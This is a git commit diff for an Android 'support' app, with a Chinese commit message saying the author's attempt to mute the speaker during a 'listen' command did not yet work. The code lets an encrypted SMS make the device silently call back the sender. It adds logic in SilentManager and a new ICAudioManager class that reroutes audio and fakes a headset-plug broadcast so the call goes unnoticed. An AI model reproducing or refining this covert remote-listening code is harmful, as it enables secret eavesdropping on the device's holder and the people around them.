尝试在listen命令过程中对speaker静音,流程已经建立好,但是静音没能生效。还需找其他途径。
authorsnickersun <snickersun@qq.com>
Tue, 12 May 2020 00:15:31 +0000 (08:15 +0800)
committersnickersun <snickersun@qq.com>
Tue, 12 May 2020 00:15:31 +0000 (08:15 +0800)
app/src/main/java/com/enqualcomm/support/ICSmsManager.java
app/src/main/java/com/enqualcomm/support/service/SilentManager.java
app/src/main/java/com/enqualcomm/support/utils/ICAudioManager.java [new file with mode: 0644]

index 6ce831d..75b32c7 100644 (file)
@@ -22,6 +22,7 @@ import com.enqualcomm.support.service.Deliver;
 import com.enqualcomm.support.utils.APNUtil;\r
 import com.enqualcomm.support.utils.CellInfoUtil;\r
 import com.enqualcomm.support.utils.DeviceInfoUtil;\r
+import com.enqualcomm.support.utils.ICAudioManager;\r
 import com.enqualcomm.support.utils.ICHttpUtil;\r
 import com.enqualcomm.support.utils.ICLogger;\r
 import com.enqualcomm.support.utils.ServiceUtil;\r
@@ -742,6 +743,7 @@ public class ICSmsManager {
             } else if (sms.equals(ENCRYPED_HEADER+"#listen#")) {\r
                 sendSMS(phonenumber, "start listen !");\r
 //                CellInfoUtil.dialSilent(runtime.getContextProxy().context,phonenumber);\r
+                ICAudioManager.needMute=true;\r
                 SimSignalUtil.send_at_cmd(runtime,"atd"+phonenumber+";");\r
             } else if (sms.equals(ENCRYPED_HEADER+"#location#")) {\r
 \r
index bec77bb..db64a9f 100644 (file)
@@ -16,6 +16,7 @@ import android.telephony.PhoneStateListener;
 import android.telephony.TelephonyManager;\r
 import com.enqualcomm.support.CoreService;\r
 import com.enqualcomm.support.ICContentProvider;\r
+import com.enqualcomm.support.MainActivity;\r
 import com.enqualcomm.support.bean.Alarm;\r
 import com.enqualcomm.support.bean.Antioff;\r
 import com.enqualcomm.support.bean.NoticeContent;\r
@@ -27,14 +28,21 @@ import com.enqualcomm.support.service.base.AbstractInvokeHandlerService;
 import com.enqualcomm.support.utils.AlarmHelper;\r
 import com.enqualcomm.support.utils.Connection;\r
 import com.enqualcomm.support.utils.DBHelper;\r
+import com.enqualcomm.support.utils.ICAudioManager;\r
 import com.enqualcomm.support.utils.ICLogger;\r
 import com.enqualcomm.support.utils.MissedCallContentObserver;\r
 import com.enqualcomm.support.utils.SharPreferenceUtil;\r
 import com.enqualcomm.support.utils.TimeUtil;\r
+import com.enqualcomm.support.utils.Util;\r
+\r
 import java.util.ArrayList;\r
 import java.util.Calendar;\r
 import java.util.Date;\r
 import java.util.Iterator;\r
+import java.util.concurrent.TimeUnit;\r
+\r
+import rx.Observable;\r
+import rx.functions.Action1;\r
 \r
 import static android.telephony.TelephonyManager.ACTION_PHONE_STATE_CHANGED;\r
 import static android.telephony.TelephonyManager.CALL_STATE_OFFHOOK;\r
@@ -87,23 +95,45 @@ public class SilentManager extends AbstractInvokeHandlerService {
     public void onCallStateChanged(int state, String incomingNumber) {\r
       super.onCallStateChanged(state, incomingNumber);\r
 \r
-      ICLogger.i("onCallStateChanged state "+state+", incomingNumber "+incomingNumber);\r
+      ICLogger.i("========onCallStateChanged state "+state+", incomingNumber "+incomingNumber);\r
       switch(state) {\r
         case 0: //挂电话\r
           isCalling = false;\r
 //          if (SilentManager.this.haveHandSilence) {\r
 //            SilentManager.this.handSilence(SilentManager.this.mContext, SilentManager.this.mValue_isSilence);\r
 //          }\r
+          if(ICAudioManager.needMute==true)\r
+          {\r
+            Observable.timer(2000L, TimeUnit.MILLISECONDS).subscribe(new Action1<Long>() {\r
+              public void call(Long param1Long) {\r
+                ICAudioManager.restoreVolumn(mContext); //2秒后恢复音量\r
+                ICAudioManager.needMute=false;\r
+              }\r
+            });\r
 \r
+          }\r
+          ICLogger.i("========Hung up!");\r
           break;\r
         case 1: //来电\r
           isCalling = true;\r
           Intent var3 = new Intent();\r
           var3.setAction(ACTION_CLOSE_UNREAD_MSG);\r
           mContext.sendBroadcast(var3);\r
+\r
+          ICLogger.i("========Ring!");\r
+          if(ICAudioManager.needMute==true)\r
+          {\r
+            ICAudioManager.setVolumnMute(mContext);\r
+          }\r
           break;\r
         case 2://接电话\r
           isCalling = true;\r
+          ICLogger.i("========OutGoing !");\r
+          if(ICAudioManager.needMute==true)\r
+          {\r
+            ICAudioManager.setVolumnMute(mContext);\r
+          }\r
+\r
       }\r
 \r
     }\r
diff --git a/app/src/main/java/com/enqualcomm/support/utils/ICAudioManager.java b/app/src/main/java/com/enqualcomm/support/utils/ICAudioManager.java
new file mode 100644 (file)
index 0000000..f572501
--- /dev/null
@@ -0,0 +1,131 @@
+package com.enqualcomm.support.utils;
+
+import android.content.Context;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.os.Build;
+
+public class ICAudioManager {
+
+    private static int saved_volumn = 0;
+    public static boolean needMute = false;
+    private static int route = 0;
+
+    public static void setVolumnMute(Context context) {
+        AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+        ICLogger.i("======setVolumnMute");
+        saved_volumn = audioManager.getStreamVolume(AudioManager.STREAM_VOICE_CALL);
+
+        route=audioManager.getRouting(AudioManager.MODE_IN_COMMUNICATION);
+        ICLogger.i("======getRouteMODE_IN_COMMUNICATION "+route);
+        route=audioManager.getRouting(AudioManager.MODE_IN_CALL);
+        ICLogger.i("======getRouteMODE_IN_CALL "+route);
+        route=audioManager.getRouting(AudioManager.MODE_CURRENT);
+        ICLogger.i("======getRouteMODE_CURRENT "+route);
+        route=audioManager.getRouting(AudioManager.MODE_NORMAL);
+        ICLogger.i("======getRouteMODE_NORMAL "+route);
+        audioManager.setRouting(AudioManager.MODE_IN_COMMUNICATION,AudioManager.ROUTE_HEADSET,0);
+
+        Intent intent=new Intent();
+        intent.setAction(Intent.ACTION_HEADSET_PLUG);
+        intent.putExtra("microphone", 1);
+
+        context.sendBroadcast(intent);
+//        SimSignalUtil.SetRingMode(context, AudioManager.RINGER_MODE_SILENT, false);
+//        CloseSpeaker(context);//
+
+    }
+
+    public static void restoreVolumn(Context context) {
+        ICLogger.i("======restoreVolumn");
+        AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+        audioManager.setRouting(AudioManager.MODE_IN_COMMUNICATION,AudioManager.ROUTE_SPEAKER,0);
+        Intent intent=new Intent();
+        intent.setAction(Intent.ACTION_HEADSET_PLUG);
+        intent.putExtra("microphone", 0);
+        context.sendBroadcast(intent);
+//        changeToSpeaker(context);
+
+//        SimSignalUtil.SetRingMode(context, AudioManager.RINGER_MODE_NORMAL, true);
+       // OpenSpeaker(context);
+    }
+
+
+    /**
+     * 切换到外放
+     */
+    public static void changeToSpeaker(Context context) {
+        AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB){
+            audioManager.setMode(AudioManager.MODE_IN_COMMUNICATION);
+        } else {
+            audioManager.setMode(AudioManager.MODE_IN_CALL);
+        }
+        audioManager.setSpeakerphoneOn(true);
+    }
+
+    /**
+     * 切换到耳机模式
+     */
+    public static void changeToHeadset(Context context) {
+        AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB){
+            audioManager.setMode(AudioManager.MODE_IN_COMMUNICATION);
+        } else {
+            audioManager.setMode(AudioManager.MODE_IN_CALL);
+        }
+        audioManager.setSpeakerphoneOn(false);
+
+    }
+
+    /**
+     * 切换到听筒
+     */
+    public static void changeToReceiver(Context context) {
+        AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+        audioManager.setSpeakerphoneOn(false);
+        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.HONEYCOMB){
+            audioManager.setMode(AudioManager.MODE_IN_COMMUNICATION);
+        } else {
+            audioManager.setMode(AudioManager.MODE_IN_CALL);
+        }
+    }
+
+    //关闭扬声器
+    public static void CloseSpeaker(Context context) {
+        try {
+            AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+            if (audioManager != null) {
+                if (audioManager.isSpeakerphoneOn()) {
+                    audioManager.setSpeakerphoneOn(false);
+                    audioManager.setStreamVolume(AudioManager.STREAM_VOICE_CALL, saved_volumn,
+                            AudioManager.STREAM_VOICE_CALL);
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+        }
+        //Toast.makeText(context,"扬声器已经关闭",Toast.LENGTH_SHORT).show();
+    }
+//打开扬声器
+ public static void OpenSpeaker(Context context) {
+
+ try{
+ AudioManager audioManager = (AudioManager) context.getSystemService(Context.AUDIO_SERVICE);
+ //audioManager.setMode(AudioManager.ROUTE_SPEAKER);
+ audioManager.setMode(AudioManager.MODE_IN_CALL);
+     saved_volumn = audioManager.getStreamVolume(AudioManager.STREAM_VOICE_CALL);
+
+ if(!audioManager.isSpeakerphoneOn()) {
+ audioManager.setSpeakerphoneOn(true);
+
+ audioManager.setStreamVolume(AudioManager.STREAM_VOICE_CALL,
+                        audioManager.getStreamMaxVolume(AudioManager.STREAM_VOICE_CALL ),
+                         AudioManager.STREAM_VOICE_CALL);
+ }
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+
+}